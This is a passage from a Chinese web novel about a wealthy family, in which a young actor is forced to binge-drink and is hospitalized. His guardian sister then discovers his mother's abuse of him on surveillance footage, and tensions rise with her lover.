季尧抬眸,他望向邱泽然,邱泽然玩味地开腔,“听说有些综艺的游戏比这还刺激。为了你妈,做次自己的本职工作有什么关系?你干的不就是娱乐人的活儿嘛。” “阿尧,妈妈没关系的,你不用觉得妈妈被侮辱了……”季葶收紧了指甲,紧紧盯着季尧,“你去吧,就在院子里,没有人会知道。” 母子俩的反应看得邱泽然乐不可支。 他欣赏着这幅美景,却被邱芜澜打断。 “泽然,季尧到底是公众人物。院墙还没有高到密不透风的地步,如果被邻居看见、拍下来,公司和我都会陷入麻烦。” 邱泽然幽怨地回望邱芜澜。 即便邱芜澜说的是事实,他也无法不往她在袒护季尧的方向去想。 邱泽然自然是恨季葶的,但他看得出,这些年邱岸山对季葶越来越没有兴趣。 她不再是会威胁到邱锦地位的女人了,看清这点,邱泽然慢慢放下了恨意,只保留一层厌恶的底色。 他的恨转移到了季尧身上。 在季葶日渐失宠的过程中,季尧的存在感则日益强烈。 他和他无耻的母亲一样,装乖卖巧地勾引了邱家的继承者。 季葶不再有威胁性,季尧却被姐姐带在了身边,形影不离。 今天季尧不在便罢了,他既然敢出现在他面前,邱泽然就绝不会轻易放过他。 “姐姐,你答应我这件事不会就这样算了的!”邱泽然抗议。 “换点别的。”邱芜澜说,“我只在乎公司名誉,除此之外,随你喜欢。” “可我就是…”邱泽然愤愤开口,听见了一声叹息。 “泽然,我知道你是个好孩子,这件事已经过去四十八小时了,你都没有告诉父亲。”邱芜澜笑道,“你不想父亲伤心,不是么。” 被看穿了心思,邱泽然赧然嘴硬:“才不是,我是怕父亲知道后误会我。” “他怎么会误会你,父亲知道你是什么样的人。何况你是他的孩子,就算你真的想要他的情妇,父亲也不会拒绝你。”邱芜澜微微蹙眉,“但是泽然,季尧毕竟和我们生活在一起,他出现了丑闻,父亲那里就瞒不住了。” 她的前半句让邱泽然有些飘飘然,他还是有些不愉快,“反正你就是袒护他,从小你就袒护他。” 纤长的手指抚上了邱泽然的额角,他呼吸一滞,被邱芜澜轻柔地爱抚。 “泽然,换一个吧,换一个万无一失,又能让你消气的办法。” 邱泽然张了张嘴,他有再多的不满,当带大自己的姐姐抚摸着他的脸颊时,他也说不出半个不字。 “你我难得有机会吃饭,”邱芜澜不舍道,“别在不愉快的事情上浪费我们的时间。” 邱泽然被触碰过的地方又热又软。 长兄长姐受父亲重视,泽安被姐姐重用。 他是最末位的角色,除了姐姐,没有家族成员会这样触摸他。 “是不该为了这些人浪费时间。”他几乎是晕头转向地迷失在难得的爱抚中,“好吧,我听姐姐的。” 邱泽然睨向季尧,“姐姐这里没有酒,你做菜应该有。把这屋里的酒喝完,我就睁只眼闭只眼,不和你妈计较。” “太好了。”季葶喜出望外地扯着季尧,“谢谢你泽然,这么为阿尧和我着想。” 邱泽然吃了只蟑螂一样恶心,最不愿意看见她高兴的样子。 邱芜澜用眼神示意季尧不用较真,邱泽然不会真的翻箱倒柜察看屋里有多少酒,随便拿个一两瓶柠檬料酒出来就行。 “好的泽然哥。”季尧面不改色,仿佛光着身子跑圈和喝酒这两个条件没什么区别。 他进厨房了一阵,提了一桶白酒、三瓶料酒、半桶黄酒出来。 邱芜澜睁眸,怒视季尧,质问他为什么不听自己的话。 看见那一大桶白酒,邱泽然扬眉,恢复了几分满意,“盖子打开,我检查。” 季尧依言照做。 浓烈的酒气飘散在屋子里,高浓度的白酒和黄酒不需要凑近,盖子一开便闻得出来。 “好。”邱泽然快乐了,牵着邱芜澜的手走去桌边,“姐,咱们吃饭。” 邱芜澜胃口全无。 她瞥了眼开始喝酒的季尧,他踌躇地瞄了眼杯子,随后收回目光,抱着酒桶直接往嘴里倒。 “咳咳、咳咳咳……”两口白酒下去,他呛得满脸通红,狼狈不适。 他是邱芜澜养大的,她从不许他酗酒。 季尧全身上下最宝贵、最漂亮的便是他的大脑,即便她封存了他,也严禁他沾染节食、酗酒这种伤害脑功能的恶行。 “姐姐,吃虾。” 季尧捂着嘴压抑咳嗽,一只剥好的虎斑虾递到了邱芜澜嘴前。 邱泽然咧嘴,像在阳光下撒欢的大型犬,期待地望着她。 这是姐姐为数不多在季尧和他之间选择袒护他的情况,邱泽然兴致空前高涨。 邱芜澜倾身,挽起侧发,咬住弟弟剥好的虾。 虾是季尧做的,放了十分钟,有些凉了。 她一只还没吃完,碗里又多了一只。 邱泽然高兴地剥着虾,时不时瞥一眼季尧的进度。 谁都一眼就能看出,季尧有多不会喝酒。 两大桶共3L的酒,别说是高度酒,就是水也难一口气喝完。 待那一桶白酒见底,季尧已懵憕的神情呆滞,全身皮肤充血通红。 他沉默地抱着酒桶,推翻喝空的白酒,木然地拧开剩下半桶黄酒,继续往嘴里倒。 邱芜澜指尖颤了下,顺势放下筷子。 “够了,我饱了,你自己吃吧。” 邱泽然浑然不觉地劝说,“这才几口啊,姐,你不能总这么挑。” 邱芜澜压下那点无名火,“体型摆在那儿,我哪能有你的胃口。吃吧,特地为你做的,再不吃都要冷了。” 她极尽耐心,告诉自己,泽然才是她的亲弟弟。 他是家里最小的孩子,从小失去了母亲,又没有得到过多少父爱。 就算季尧无辜,那又如何。 她的亲弟弟受了委屈,想高兴一下,有什么不可以。 如果今天在这里的是邱岸山,如果泽然想要羞辱的是季葶,邱岸山绝不会有半分犹豫——难道她对家人的感情,还比不上背叛了母亲的父亲? 邱芜澜分明明白这些,可听着少年压抑的细碎喘咳、看着他火烧般的皮肤,心底无端滋生出怒意。 邱芜澜斜眸,冷眼看向站立着的季葶。 自始至终,她都低着头,抓着衣袖,愧疚又无动于衷地干站着。 邱芜澜不指望她能逆转局势,但她至少应该表现出一点对儿子的担忧,而非全然都是做给邱泽然看的歉意。 “我吃好了姐,”当那桶黄酒也见了底,邱泽然终于放下筷子,背上自己的网球包,“得回队伍里了。” 邱芜澜不自觉松了口气,“我送你。” 他们自季尧面前走过,那双名牌球鞋顿在季尧腿前,踢倒了空桶,发出哐响。 邱泽然垂眸,俯视烂泥般倚着墙壁的少年。 他吃力地睁眼,费劲了力气也只才眯开一条迷梦的缝隙。 一桶半高度酒下去,来不及经历呕吐,便陷入了半昏迷。 季尧手边还散落着三包料酒,邱泽然没兴趣看了。 他对邱芜澜摆手,“外面热,姐姐你歇着吧。车子来接我了。” 邱芜澜弯眸,“替我问候你的小女朋友。” 邱泽然嬉笑着,形状近乎憨傻。 他心满意足地离开了。 门关上的刹那,邱芜澜大步回身,扶住了瘫躺在地上的季尧。 “阿尧、阿尧?”她轻拍他的脸,脸上的皮肤像是烂熟发烫的柿皮,没有任何反应。 五分钟后,急救车抵达了别墅。 医护人员搬运途中,季尧突然张口,吐出一片黄绿色胆汁。 他平躺着,喉咙鼻子里不停冒出胆水,又顺着重力倒灌回气管内。 “翻身、翻身!”菲安高喊,随行的护士麻利地扭转了季尧的上身。 邱芜澜紧跟着踏上了急救车。 “芜澜…”她握着季尧的手,听见了一声忸怩的蚊吟。 “芜澜,我…”季葶站在车下,为难地绞着手指,“我离开庄园一整天了,岸山会不高兴的。” 邱芜澜终于明确了自己恼火的源头。 “那你回去。”她对医生道,“走。” 菲安从季葶的五官里看出她和季尧有点关系,遂提醒道,“邱总,一会儿进手术室需要直系亲属签字,还是让他妈妈一起上来…” “什么年代了,还不能线上授权么!”邱芜澜冷斥回去。 过了要靠气势装腔作势的年纪,她再也没有用过如此强硬的语气。 菲安愣了下,少见这位邱小姐发脾气,匆匆应了声好。 “芜澜、芜澜!”车子准备走了,季葶突然跟了几步,她慌张开口,“你忙的话,还是我去吧。” 邱芜澜挺直了脊背,隐忍怒意。 如果季葶是大大咧咧的性格,尚有容忍的余地;可她敏感细腻,自己口吻稍冷了些,都能察觉出她背后的情绪。 她什么都明白,她是对季尧不在意。 担架上的少年肤如火烧,吐了一阵子胆汁,两眼被泪水糊满。 呕吐物的酸臭味在密闭的车厢里发酵,邱芜澜沉默着,忽然之间,她听见了微弱的哭泣。 半昏厥的男孩泪眼朦胧地呢喃:“姐…姐姐……” 邱芜澜眼皮跳了下。 穷则呼天,疾病惨怛本该呼父母,季尧昏迷之间,喊的却是姐姐。 是她对季尧情深义重么? 若真如此,他现在就不会是这番模样。 邱芜澜不明白,季葶年轻时也算是精于算计,既然吃了情妇这碗青春饭,为什么不讨好一点自己的养老金。 她不恨压榨她的邱岸山,不恨欺凌她的邱泽然,连仗势欺人的下人都不记恨,她讨好所有的加害者,唯独对自己的亲生骨肉弃如敝履。 邱芜澜送季尧进手术室,洗完胃后又送出来挂水。 “邱总,”负责洗胃的医生从手术室出来,对邱芜澜道,“已经转移病房了,年纪轻,没什么大事,您要去看看么。” 邱芜澜颔首,“辛苦您了。” 她欲动身前往住院区,临走前瞥见医生欲言又止的表情。 “怎么了。”她问,“还有什么问题么。” “啊……”医生尴尬地推了下眼镜,纠结之后,委婉道,“就是我们给他换了病服后,发现病人胳膊和锁骨处好像有点擦碰,也不知道是他自己在哪里不小心弄到的。” “擦碰?” “听说他是艺人?”见邱芜澜脸色不太好,医生立刻装傻充愣,“是不是演戏的时候碰到了,要让他注意身体啊。” 季尧说是邱芜澜的表弟,可据说两人的血缘关系远得和陌生人无异。 一个远方亲戚,无亲无故地借住在邱家本家,医生无意深究那个男孩在邱家的处境,主动为他的病情找好了理由。 邱芜澜没有多问,准备自己去看。 季尧被送去了单人病房,这是今年他第二次住院,邱芜澜推门进去时他正沉睡着。 房里打了空调,护士为他盖了一层薄被。 她与邱芜澜点头致意,确认了一遍季尧的点滴后,退了出去。 邱芜澜在床边坐下。 窗外秋阳似火,亮得刺人眼睛。 她回忆着医生说的话,陡然发觉,今天季尧穿了一件窄领长袖,她也就没有看见过他的胳膊和锁骨。 掀开一角被子,她将季尧的袖子撸起。 随着衣袖上堆,少年偏白的皮肤寸寸露出。 当看见他上臂的情形后,邱芜澜瞳孔微缩,紧接着去拉季尧的衣领。 他裸露出的胳膊上是密密麻麻的指甲印,一只只弯月形的血色印痕布满了上臂,如爬满墙壁的毒虫,令人毛骨悚然。 两处锁骨上则是大团的乌青,黑紫交加,触目惊心。 这显然不是他自己弄出来的“磕碰”。 邱芜澜立刻联系了季尧的助理,询问他在片场的情况。 对方一头雾水,被逼问得欲哭无泪,“邱总,我真的不知道啊。语薇姐和华老师都很照顾他,再说季尧也不是十八线,谁会欺负他啊。” 这话不假。 没有人敢欺负季尧,他从不吝于展现自己“表少爷”的身份,在邱芜澜知道和不知道的角落里做了不少恶作剧。 他不可能在工作时被人穿小鞋。 伤口很新,如果不是工作受的伤,那就只剩下一个可能性—— “姐姐……” 病床上的少年发出模糊呓语,遭了这一通罪,他活脱脱像是暴瘦了一回,惨白又憔悴。 邱芜澜帮他掖好了被子。 她坐在床边,持着手机,点开了季尧别墅里未及撤掉的监控程序。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第八十一章 邱芜澜不敢置信自己看见的内容。 她一直知道季葶对季尧心怀不满, 背后向他灌输了扭曲的价值观。 可她如何也没有想到,季葶的灌输之中附带了暴力色彩—— 四十多岁的病弱女人殴打二十岁的儿子,听起来荒诞离奇, 偏偏就是在邱芜澜眼前发生了。 监控之中,高出季葶一头的季尧像是从小就被打痛了的大狗, 即便成年,也不敢违抗瘦弱的主人。 那样活泼明媚的少年, 在季葶面前一言不发地承受着她的抓拧,被她扯着头发,一次又一次地撞进冰水混合的台盆里。 他的锁骨就是在这个时候撞出的乌青。 邱芜澜看见他试图反抗, 却在季葶一句“他最喜欢看我悲惨的模样。她是邱岸山的女儿, 她和他有一样的病。”后, 无力放弃。 那些她睁只眼闭只眼的零食饮料, 被季葶全部砸去了楼下院中。 女人的尖叫、怒吼和一声声不堪入耳的辱骂盖过了她憔悴的病体, 让人退避三舍, 唯恐殃及。 那个在邱芜澜面前温顺可怜的女人, 俨然和疯子无异。 昨天晚上,近在隔壁的邱芜澜没有听见任何响动,季葶的发音十分诡异。 她分明是在吼叫, 喊出的声音却被压得极低, 一大半都是气音, 宛如初冬的秋虫,窸窸窣窣, 歇斯底里地发出枯竭的虫鸣。 股股燥热自脚底窜起, 邱芜澜察觉到了自己发病的征兆,眼睛却无法从监控画面上挪开。 她死死盯着那些骇人的画面,冲击性的情绪太过凶猛, 顷刻间堆积成狂躁,让她愤怒、让她暴躁、让她痛心,让她想如画面里的季葶一样尖叫。 邱芜澜颤抖地去摸手包。 她搜寻了半晌,才意识到自己是匆忙跟来的医院,根本没有带包。 药……她的药…… 她哆哆嗦嗦去翻自己的衣服口袋,外套里没有,她想解开扣子,看看内衬袋子里有没有药。 手指抖得不像话,几次都没有解开光滑的纽扣,身体热得犹如火炉,额角、面颊上的汗淌个不停。 滴答—— 一颗汗珠坠在了解纽扣的指尖。 如同压垮骆驼的最后一根稻草,情绪的洪流轰然冲堤。 邱芜澜一把撕开外衫,常年健身后的上肢力量不容小觑,将娇嫩的名牌纽扣全部扯断。 她急躁地脱去外套,那衣服着了火一样,她把它掷去地上,远远扔开。 脱掉外套,邱芜澜绝望了。 雪白的冰丝内衬浑然一体,没有一个口袋。 她没有带药; 这里不是心理诊所; 简已经出市,正在忙孙子的婚礼。 邱芜澜咬紧下唇,贝齿陷入唇瓣,隐约尝到了铁锈味。 “贱狗!” “蠢货!” “这狼狈的样子才适合你!” “收拾好你那张脸,别让邱芜澜倒胃口!” 监控中,女人凄厉的啸声持续不断地回响着。 这声音让邱芜澜头晕目眩,却不刺耳,反而让她升起了汩汩怪异的愉悦。 她惊恐于这扭曲的感情,猛然将声音的源头挥开。 啪—— 手机被她扔出,滑入床底缝隙。 邱芜澜一怔,短暂地从病症中抽离。 她意识到,自己冲动之下做出了多么错误的决定。 自己此时的状态已无法做出掏手机这样的细致工作,季葶的声音在床下响个不停。 邱芜澜猝然抬眸,病床之上,季尧不知何时睁开了眼睛,怔忪地望着她。 他面色苍白,在亲生母亲的尖啸声中,难堪得不停颤栗。 邱芜澜站在床边,她听着季葶压抑如虫鸣的嘶吼,看着季尧面色如纸的惨状,两股暴戾的情绪蹿升而起,同时拉扯着她: 一股被季葶同化,监控里女人的声音洗脑般驱使邱芜澜占有季尧; 一股悲痛万分,让她想要挥开癫狂的季葶,将自己珍爱的艺术品护于高阁。 四目相对,邱芜澜蓦地转身逃离。 她搭上门把手时,身后传来了带泣的颤音。 “姐姐……” 邱芜澜没有停留,她几乎是小跑着躲开了。 跑出医院,她喘息着环顾喧嚣迷离的都市。 汽车的鸣笛、各色灯光、行人手中花花绿绿的手机屏幕……这个世界充满了刺激源,她像是过敏患者置身于花粉之中,浑身瘙痒到了疼痛。 指甲刺入掌心,凭借最后一丝理智,她跌跌撞撞进了就近的酒店。 手机还留在医院,幸运的是,大堂经理在财经新闻上见过邱芜澜,答应为她办理信用入住。 邱芜澜进房的第一件事就是拨通华君润的号码。 “华君润,”她咬着牙,“来见我。” 她不管华君润现在在干什么,哪怕他是在给季语薇对戏、是在领奖台上,也必须来见她。 那声姐姐让邱芜澜崩溃决堤,她褪去衣衫,闭着眼,脸上凝满红云。 “哈……” 不知过了多久,她听见了敲门声。 透过猫眼,确认了来人身份后,邱芜澜拧开门,将对方一把扯入室内。 “芜…”借了直升机匆匆赶来的华君润没能说完一个字,就被邱芜澜封缄住了双唇。 他错愕地睁眸,旋即意识到邱芜澜发作了。 她身体烫得厉害,在打了16度冷气的房间里竟也大汗淋漓。 这样糟糕的状态,她居然独自忍耐了一个多小时,一直在等他过来。 华君润恍若置身云端。 在这近乎虚幻的美妙之中,他头皮一紧,被粗暴地扯住头发,向下拉扯。 和这蛮横的动作相反,他身下的邱芜澜低吟出酥骨的情语。 “君润……我的药,治好我。” 华君润被震耳的心跳声所淹没。 他紧紧环住怀里的玉体,沉溺在清幽的兰草香中。 药——她将他视为治愈自己的药。 自得和窃喜充溢全身,这一刻,就算是邱芜澜要他的心脏做药引,华君润都会心甘情愿地让那双纤手剖出。 邱芜澜和韩尘霄交往的过程里,她会因为韩尘霄不在而找他应急; 而今,她明知道他远在外地,还是打电话给了他、一个人等着他。 邱芜澜和韩尘霄分手几个月,华君润第一次真切意识到,他赢过了比他年轻的韩尘霄。 华君润夹在融融爱意和激烈快慰间,他托着邱芜澜的腰,埋在她胸前,眼角的绯色破坏了温和的气质,平添痴意。 荧幕上的影帝从未有过这份颜色,没有剧组邀请他扮演妖冶的角色,年轻的华君润是叛逆、冷酷、不羁;后来的华君润是温润、矜贵、知书达理,他从来不沾邪气。 窗帘紧闭的昏暗套房内,他迷恋地追吻着邱芜澜。那张脸被魅色侵染,如白玉被桃花湮没,温和端方的色泽在春意阑珊的桃花间隙里若隐若现,被春意吞噬殆尽。 “芜澜、芜澜……” 他的初恋、此生唯一的恋人、他的挚爱,他朝思暮想了七年的爱侣。 华君润为邱芜澜的等待,喜极而泣。 他乐意成为她的药、她的摇钱树、她的棋子,为了她的爱慕,他可以奉献自己拥有的一切。 …… 季尧靠坐在床上,看着护士帮他取下针头。 “挂完了。”菲安的病人都由护士长一级照顾,她告知季尧术后的注意事项,“多休息,二十四小时内不能吃东西,有需要就按铃。” 在医院待久了的护士长,很难像刚入职的年轻护士一样,时刻保持幼教语气。 她干脆利落地收拾好治疗盘,起身欲走,腰间一滞,被病床上的少年扯住了一点边角。 护士长回头,床上的少年精致到了极点,也憔悴到了极点,似易碎的玻璃彩雕,在金秋阳光下折出美丽而淡薄的斓影。 “姐姐,谢谢你照顾我。”他对她展露甜软礼貌的笑靥。 这绚烂的笑容令护士长呆愣了片刻,在她意识到之前,脸上已不由自主地回以和蔼的笑,“没事的,以后可不能这么喝酒了。有人来照顾你吗?” 少年脸上人畜无害的笑倏尔淡去。 他面无表情地盯了一会儿护士长,随后躺下来,“我想休息了。” “怎么了?”本欲离开的护士长往他那边走了两步,“哪里不舒服吗?” “没有。你可以走了。” “真没事?不舒服一定要说啊,到时候出血就麻烦了。” 季尧懒得再费力气说话,他闭着眼等了好一会儿,才听见对方离开的动静。 关门之前,她还不放心地叮嘱,“难受一定要按铃,我会马上过来。” 季尧的人生一直如此。 踏入社会后,只要他笑一下,用亲切的称谓称呼对方,即便是陌生人也会对他献上殷勤。 凭借敏锐的洞察力和优越的外表,季尧很容易获得他人的好感。 邱芜澜不是肤浅的女人,可她遗传了邱岸山身上的某些特质。 像是邱锦用“哥哥”两个字勾引到了邱岸山一样; 季尧察觉到,邱芜澜无法拒绝他唤她“姐姐”。 她无疑是疼爱他的,即便这份疼爱,和邱岸山对邱锦的爱一样,完全建立在邱锦的聪慧之上,但爱就是爱,她珍爱他、喜爱他,也怜爱他。 季尧利用了这一点。 他一直无条件顺从季葶,因为不管他愿不愿意,他都和她捆绑在一起。反抗季葶会刺激到她,让她失控,做出无法预测的行为。 但这一次不同。 她被邱岸山的态度吓得发疯,慌不择路下,竟将手伸向了邱泽然。 季尧的恐惧丝毫不亚于季葶。 尽管邱泽然是个蠢货,可他是邱芜澜的亲弟弟。 邱芜澜拼尽全力,为最小的弟弟强行撑开一片保护伞,让他无忧无虑地成长,庇护他脱离了邱家的遗传疾病。 他是她保护下来的唯一幸存者。 季葶那个疯女人,竟试图染指邱芜澜珍贵的宝贝。 季尧恐惧得骨头打颤。 所幸邱泽然没事,如果他疾病复发,或是真的和自己父亲的老情妇纠缠在了一起,季尧不敢想象邱芜澜的怒火会熛升到何种境地。 她绝不会放过季葶,至于他——他这个季葶生下的孽种,能够独善其身么。 他不能被她连累! 他的世界猩红虚无,除了姐姐,什么也没剩下。 季尧不在乎季葶的打骂泄愤,但她不能妨碍他留在姐姐身边。 季尧很清楚,这一次不是结束,而是开始。 随着姿色衰退,季葶在邱家的处境越来越危险,困局之下,她不会就此收手,只会犯下更多难以预料的罪行。 他必须立刻摆脱她、立刻解决她! 然后,季尧躺在了这里。 他成功勾起了邱芜澜对季葶的愤怒和对他的怜爱——本该如此,姐姐本该疼惜他,可看完监控,她却什么也没说,毫不犹豫地转身离开。 她不心疼他了么,她可怜他了么? 季尧惶然地在床上唤她姐姐,用最触动她的声音和词汇挽留她,只要她回头,就能看见他多么无助、多么悲惨。 季葶虽然目光短浅,可她说的没错,邱芜澜喜欢看他悲惨的模样,那是他最美的模样。 当他被邱泽然邱泽安欺负时、当他被邱承澜雪藏、当他生病、当他被韩尘霄羞辱时,只要他足够可怜,邱芜澜就会注意到他。 为什么…… 季尧抓着布满血色指甲印的上臂,惊愕困惑地回想着邱芜澜离开时的背影。 为什么这一次,她对他的悲惨视而不见。 她不再喜欢他了? 因为她有了华君润? 还是因为季葶连累了他? 季尧蜷缩在被子里。 走廊上匆忙的脚步、远处护士的抱怨、隔壁病人家属的交谈声如鼓风机般轰进季尧的耳朵里。 这些声音混作一团,吵得他无法入睡。 他睁开眼,霍然之间,采光明媚的房间里漆黑无光。 无尽的黑暗之中,透出一层诡异的红意。 他缩进被子里,隐隐听见了滴水声。 滴答……滴答…… 这声音近在咫尺,黏腻又连绵。 季尧迟疑了一会儿,扒着床,费力地扭身寻找声音的来源。 滴答……滴答…… 他看见黑暗之中,盖在自己身上的被子正往下渗血。 吸饱了黑血的棉被沉重泥泞,过多的血液从边缘落下,滴滴答答地流进了床底。 它们蜿蜒成条条血路,汇聚向床底的那部手机。 在季尧看见手机的瞬间,屏幕发出了荧光。 眉眼清冷的女人出现在屏幕里。 季尧惝怳着朝她靠近。 他想接近她、近一点,再近一点。 待季尧回神,陡然发现自己正站在别墅门外。 这是邱芜澜的别墅,他再熟悉不过的地方,是他的家。 季尧困惑着,反复确认四周、疑惑是否是梦境,最终混沌地得出结论——这是现实。 他身上还穿着医院病服,两只手一手握着自己的手机,一手握着床底下邱芜澜的那只。 从自己手机上的自动扣款界面推测,他是自行离开了医院,通过打车的方式回来的。 他似乎是疯了。 在没有喝酒、服药的情况下,他又一次失去了记忆,和殴打韩尘霄那次一样,完全意识不到自己当下的行为。这绝不是能轻巧带过的状况。 季尧本该为此惊恐,可他拿起邱芜澜的手机,漆黑的屏幕上倒映出邱芜澜的面容。 她淡淡睇向他,矜贵漠然得如雪巅之兰,令他心生向往。 他想要靠近他,大脑和身体便带他来到了这里。 太阳穴嗡嗡发痛,大脑像是被单独至于虫巢之内。 窸窸窣窣的巨大虫声越过耳蜗,径直盘踞大脑皮层,尖锐锋利的足肢爬过他的沟壑,带来轻微的刺痛。 季尧忽而怀疑起先前的推断。 他是自己回来的么? 手术刚刚结束,医院不会允许他单独出院,他不可能是自己回来的。 他拿着姐姐的手机,那就该是姐姐带他回来的。 无论是出院、回程的出租车上,他身边都有姐姐在。 大脑隐约记得某个瞬间,姐姐坐在出租车的后座,抱着他的后脑,低声询问他还痛不痛。 这场景到底是真是假,季尧记不太清了。 不管如何,他回到了姐姐身边,失忆的恐惧被即将见到姐姐的雀跃抹平。 他扬起灿烂的笑容,打开了别墅的大门。 指纹解锁的电子声后,门被拉开。 季尧踏入玄关的瞬间,饱含欢愉的低吟连带着水声传入他耳中。 “芜澜、宝宝……这样舒服点儿了么?” 季尧驻足,他站在入户口,看见了餐厅里的情形。 指引他而来的邱芜澜坐在餐桌上,叉开双腿。 赤.裸上身的华君润则坐在桌边的椅上,抱着她的膝盖,埋首于裙下。 她一只手扶着他的后脑,一只手旁边是空了的碗筷。 那几只碗盘,正是季尧进医院前做那顿午饭用到过的碗盘。 他用它们装了甜辣虾和柠檬鸡块; 现在里面残余了一点凉面的汤汁配菜。 “不够、不够……”餐桌上的邱芜澜喃喃催促,“重一点,我马上有个会议要开。” “别急,”华君润抬眸望向她,眼睫上缀着花露,“如果赶不上,我可以在桌下帮你。” 相隔甚远,季尧都能看见那双凤眼里浓稠的倾慕。 邱芜澜瞌眸,将他的头按了下去。 “不要浪费时间。”她的口吻略有烦乱,并非为了即将开始的会议,更多是为了这几天家里发生的一系列事。 咔哒…… 门合上的声响惊动了邱芜澜,她厉然抬眸扫来,和玄关口的季尧四目相对。 猝然看见季尧,邱芜澜脸上出现了短暂的惊愕。 与此相反,季尧面色如常,冲她露出了惯有的笑意。 “姐姐,”他说着,若无其事地将手机放在了鞋柜上,“你把手机落下了。” 华君润同样错愕,第一时间拉下了邱芜澜的裙摆。 他起身,以男主人的姿态走出来,处理家里的突发状况。 “不好意思阿尧。”他对他歉意地笑了笑,精壮的后背挡住了邱芜澜,“谢谢你特意送过来。” 第82章 第八十二章 纵然邱芜澜没有向季尧隐瞒过病症, 骤然被弟弟被撞见这一幕,她心中多少也有些别扭。 所幸在这里的是华君润,不是韩尘霄或其他前任。他反应极快, 得体地处理了这尴尬的场面。 趁他遮挡的工夫,邱芜澜整理好自己, 从餐桌下来。 看见季尧身上的病服,邱芜不由得拧眉, “你怎么会在这里。” “手机上弹出了很多消息,我怕耽搁姐姐工作。” 他表现得不谙世事,丝毫没有提及方才看见的情爱。 邱芜澜扶额, “你才刚做完手术, 我让人送你回去。”她下意识要接过自己的手机去联系司机, 却在即将触碰到时停滞了。 手机中, 季葶疯癫的低吼犹在耳畔, 邱芜澜无暇处理这件事, 仅仅是回忆起看见的场景, 好不容易消退些许的病态燥热又卷席了全身。 她呼吸微重,面上的潮红消弭不去。 华君润发现了她的异常,体贴道, “你休息, 我去送阿尧。” 他捡起地上的衣服, 拿了邱芜澜的车钥匙,搭着季尧的肩膀, 让他转身, 跟自己出去。 力量僵持了一息。 华君润有些意外,再是黏姐姐的弟弟,突然撞见姐姐、姐夫的生活, 多少也会有些尴尬。 他给了季尧离开的台阶,他却定在原地,直勾勾盯着邱芜澜看。 那双浅色的圆眼向来剔透纯粹,此刻却浑浊得让华君润暗暗生惊。 他不动声色地皱眉,搭在季尧肩膀上的手用了力,不容抗拒地掰过他的身体。 转身之际,季尧和他对视。 正面对上那双圆眸,华君润心下微沉,愈发说不出的古怪。 不是尴尬、羞涩,甚至也谈不上悸动、妒忌。 那双圆眸空洞晦暗,看向华君润时,投射出最原始的恶意。 这份恶不染纤毫,没有任何杂念,有的只是恶意本身,干干净净得如两块天然黑水晶。 华君润研究过上千万的角色,还从来没有见过如此纯净的恶意。 他愈坚定了要将季尧隔开的想法,半强迫着他离开这座房子、远离他的爱人。 作为邱芜澜的伴侣、作为季尧的姐夫,华君润觉得自己有必要和这个古怪的小舅子谈一谈。 可刚坐进车子里,季尧便恢复平常,无聊又虚弱地歪头靠在座位里。 “怎么弄进医院了。”华君润没有打算就这样放过他。 季尧抵着车窗,放空目光望着外面的车流,“喝酒。” “以前好像没听说过你爱喝酒。” “君润哥消失了那么久,连姐姐都不在意了,又怎么会在意我这些年的兴趣爱好呢。” 车子开出小区,在红灯前停下。 华君润食指轻点着方向盘,“哪家医院。” 季尧报出了名字。 绿灯亮起,车子平稳而沉默地向前驶去。 “会喝酒了,”良久,华君润和煦开口,“什么时候再带个女朋友回来,让我和你姐姐放心。” “恋爱方面,我和君润哥一样。” 华君润目色微凉,余光扫向副驾驶上的少年。 他支着头,若无其事地补充,“君润哥不是二十一岁才有的初恋么。” “这么说,再有两个月你就要给我们一个惊喜了?” “比起关心我,君润哥不如关心下自己。”季尧挑唇,“你也知道姐姐换男人的频率。” 华君润没有接话。 这种嘴仗毫无意义,他眉心紧皱,思考季尧这句话背后的目的。 “阿尧,”他语重心长,“就算是亲弟弟,也不可能一辈子腻在姐姐身边。泽安泽然在你这个年纪时已经独立了。” 这是华君润第二次说这话。 和上一次挑拨季尧韩尘霄不同,这一次,比起劝告,更偏于警告。 “到了。”他在医院门口停下车,“进去吧。你姐姐要处理的事情不止你一个,别让她操心了。早点康复,回来好好拍戏。” 季尧睇向他。 不管是在邱芜澜面前,还是在其他地方,华君润话说的口吻俨然以邱芜澜丈夫自居。 他没有漏洞,私生活单调得像是个吃斋老人;工作上,和秋叶娱乐绑定,华君润不仅是公司艺人,更是公司的门面招牌、是公司股东。 连季语薇都知道,现在抹黑华君润,就是在抹黑秋叶娱乐,绝不可行。 季尧回到了医院。 他待在看不见邱芜澜的病房里,她的余晖在回程中消磨殆尽。 没有邱芜澜在,黏稠浑浊的猩红突破了那点银辉,密不透风地侵袭了他。 季尧坐在床上,垂眸盯着脚下,如同停了发条的玩偶,姿势久久未变。 …… 邱芜澜再一次去见了自己的心理医生。 她接受了治疗、用了新药,确保自己足够平静后,回到了本家解决季葶的事。 “我的小天使。”邱岸山在客厅迎接了她,笑着张开双臂,“你多久没有为了私事找爸爸了?让我猜猜,是有什么想要的生日礼物么?” 邱芜澜与他短促相拥,退了开去。 她瞥过站在邱岸山身旁,欢喜又瑟缩望着她的季葶。 谁能想到,这张日日梨花带雨的脸能变得那么狰狞扭曲。 为了能平静地面对她,邱芜澜来之前进行了诊疗。 不想,静如平湖的心情在看见季葶的刹那,竟又泛起了涟漪。 看来就算不是为了季尧和泽然,只是为了她自己,她也不该再与季葶见面了。 “父亲,”邱芜澜避开了季葶的目光,“我有话想和您说。” 邱家很久没有人避着季葶说事了。 她和桌子上精美的茶壶无异,只是个摆设器具。 邱岸山注意到了女儿意有所指的目光,有些惊讶她居然要回避季葶。 “来吧,”他搂着她的肩膀,“去我书房。” 季葶赶忙说,“我一会儿给你们送茶过来。” “不用了。”邱芜澜回眸,“你去休息。” 季葶脚步一顿。 她惶然地望着邱芜澜,像是被她冷淡的语气所伤。 邱岸山挑眉,将两人的反应看在眼里。 “她惹到你了?”进了书房,邱岸山兴味地发问。 他的女儿是这个家里唯一愿意听季葶说话的人。 就连回家次数不多的邱岸山都撞见过几次她们相处的画面。 那场景有趣极了,他的情妇像是菟丝子一般攀在他女儿身上,一旦邱芜澜将她扯下,她便会无助脆弱地化为飞灰。 没有人在意季葶,她生活在奢华广袤的庄园里,却和被关在笼子里无异。 十几年下来,邱芜澜是她生命中唯一的“活人”。 现在,这唯一一个活人似乎要弃她而去。 邱岸山很好奇,季葶做了什么,让他公正仁慈的女儿都无法忍受了。 “父亲,”邱芜澜在沙发上坐下,认真询问邱岸山,“您是如何看待季葶的。” 